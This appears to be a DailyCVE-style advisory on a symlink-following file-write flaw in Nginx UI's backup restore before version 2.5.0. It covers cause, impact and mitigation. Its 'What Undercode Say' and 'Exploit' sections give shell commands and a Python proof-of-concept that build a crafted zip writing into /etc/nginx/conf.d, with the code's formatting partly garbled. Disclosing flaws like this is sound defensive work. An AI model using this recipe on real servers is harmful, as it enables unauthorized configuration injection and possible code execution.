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CVE-2026-107810 affects Nginx UI prior to version 2.5.0 by introducing a critical flaw in the backup and restore mechanism.
An authenticated user with backup creation and restoration permissions can exploit the application’s archive processing pipeline.
During the restoration routine, the application extracts both outer and inner archive files before evaluating toggle configurations.
Specifically, the zip extractor permits absolute symbolic links when the link target points under configured paths.
These configured target paths include the live Nginx configuration directory as well as the active modules directory.
When subsequent regular file entries are processed via file open routines, they transparently follow these symbolic links.
Consequently, files are written directly into the live Nginx configuration path despite explicit opt-out parameters.
The restore flags such as restore_nginx and restore_nginx_ui are checked only after the extraction process occurs.
This architectural ordering breaks the expected trust boundary during the staging phase of the archive restoration.
An attacker can craft a malicious backup containing a symbolic link pointing to the live path followed by a payload file.
When this crafted archive is uploaded and processed, the file gets written onto the production configuration tree.
This behavior bypasses user-intended restrictions and allows unauthorized file placement within restricted directories.
The root cause lies in validating or applying toggle restrictions too late in the multi-step file extraction workflow.
Security researchers verified this behavior using isolated test harnesses exercising the core backup and restore logic.
The test successfully demonstrated that a backup file with false restore flags still creates files in the target path.
This vulnerability highlights the dangers of performing file extraction before verifying administrative feature constraints.
Mitigation requires deferring archive extraction until all security checks and restore flags have been fully validated.
Otherwise, attackers can leverage archive manipulation techniques to achieve persistent file writes on sensitive paths.
The vulnerability underscores the necessity of strict path sanitization and boundary enforcement during unarchiving.
Without proper validation, attackers can easily abuse archive extraction features to subvert system integrity controls.
Proper patches must ensure that symbolic links pointing outside designated safe zones are outright rejected during extraction.
Furthermore, validation checks should precede any disk-writing operations to prevent unauthorized file placement globally.
Administrators are strongly advised to update their Nginx UI deployments to version 2.5.0 or later immediately.
Reviewing backup and restore access controls also helps mitigate potential risks from authenticated malicious users.
Ensuring least privilege principles for backup management reduces the attack surface significantly across environments.
Routine audits of system logs can also help detect anomalous archive restoration activities or unexpected file creation.
Thus, understanding this vulnerability enables developers to design more secure file handling routines in web applications.
Robust error handling and secure archive unpacking libraries are essential defenses against path traversal and symlink attacks.
Maintaining updated software components prevents known exploits from compromising production infrastructure and application servers.
Always verify third-party library behaviors regarding symbolic link resolution to prevent similar oversight vulnerabilities.
DailyCVE Form:
Platform: Nginx UI
Version: Under 2.5.0
Vulnerability: Symlink Write
Severity: Medium
date: October 2026
Prediction: Already Patched
What Undercode Say:
Extract the outer backup archive unzip backup.zip -d extracted_backup/ Decrypt the inner nginx archive using extracted AES keys openssl enc -d -aes-256-cbc -in extracted_backup/nginx.zip -out nginx.zip -K <key> -iv <iv> Create a crafted zip archive containing a symlink to the live Nginx configuration directory ln -s /etc/nginx/conf.d live_link zip --symlinks crafted.zip live_link live_link/poc.conf
Exploit: (Educational Purposes!)
import zipfile
Create a crafted zip file containing a symlink to the live Nginx configuration directory
with zipfile.ZipFile('crafted_nginx.zip', 'w') as zf:
info = zipfile.ZipInfo('link')
info.create_system = 3
info.external_attr = 0o120777 << 16 Symlink permissions
zf.writestr(info, '/etc/nginx/conf.d')
Add payload regular file entry that follows the symlink during extraction
zf.writestr('link/poc.conf', 'server { listen 8080; }')
print("Crafted archive generated for educational verification.")
Protection: from this CVE
Upgrade Nginx UI to version 2.5.0 or later where archive extraction safely validates symlinks and restore flags.
Restrict backup creation and restoration privileges to trusted administrative accounts only.
Implement strict path sanitization checks to reject absolute symbolic links targeting sensitive system directories during unarchiving.
Ensure security toggle validations occur prior to extracting any inner archive contents to disk.
Impact:
Allows authenticated users with backup restoration permissions to write arbitrary files into live Nginx configuration directories.
Bypasses explicit user configuration toggles such as restore_nginx and restore_nginx_ui.
Can lead to persistent configuration injection, unauthorized service disruption, or remote code execution via downstream Nginx reloads.
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Sources:
Reported By: github.com
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